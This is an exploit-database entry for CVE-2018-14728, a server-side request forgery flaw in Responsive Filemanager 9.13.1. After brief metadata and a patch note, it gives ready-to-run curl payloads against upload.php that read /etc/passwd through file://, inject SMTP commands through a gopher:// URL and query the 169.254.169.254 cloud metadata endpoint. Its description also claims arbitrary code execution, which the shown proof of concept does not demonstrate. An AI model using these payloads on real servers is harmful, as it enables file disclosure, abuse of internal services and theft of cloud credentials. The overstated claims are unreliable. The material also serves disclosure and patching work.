Responsive filemanager 9.13.1 - Server-Side Request Forgery

vendor:

Responsive Filemanager

by:

GUIA BRAHIM FOUAD

9.8

CVSS

CRITICAL

Server-Side Request Forgery

918

CWE

Product Name: Responsive Filemanager

Affected Version From: 9.13.1

Affected Version To: 9.13.1

Patch Exists: YES

Related CWE: CVE-2018-14728

CPE: 2.3:a:responsivefilemanager:responsive_filemanager:9.13.1

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: php version: 7.0

2018

Responsive filemanager 9.13.1 – Server-Side Request Forgery

Responsive Filemanager version 9.13.1 is vulnerable to Server-Side Request Forgery (SSRF). An attacker can exploit this vulnerability to access sensitive information from the server or to perform malicious activities. The vulnerability exists due to the lack of proper validation of user-supplied input in the 'url' parameter of the 'upload.php' script. An attacker can send a specially crafted request to the vulnerable script and execute arbitrary code on the server.

Mitigation:

The vendor has released a patch to address this vulnerability. It is recommended to upgrade to the latest version of the software.

Source

Exploit-DB raw data:

# Exploit Title: Responsive filemanager 9.13.1 - Server-Side Request Forgery
# Date: 2018-07-29
# Exploit Author: GUIA BRAHIM FOUAD
# Vendor Homepage: http://responsivefilemanager.com/
# Software Link: https://github.com/trippo/ResponsiveFilemanager/releases/download/v9.13.1/responsive_filemanager.zip
# Version: 9.13.1
# Tested on: responsive filemanager version: 9.13.1, php version: 7.0
# CVE : CVE-2018-14728

# PoC
curl 'http://localhost/filemanager/upload.php' --data 'fldr=&url=file:///etc/passwd'
curl 'http://localhost/filemanager/upload.php' --data 'fldr=&url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a'
curl 'http://localhost/filemanager/upload.php' --data 'fldr=&url=http://169.254.169.254/openstack'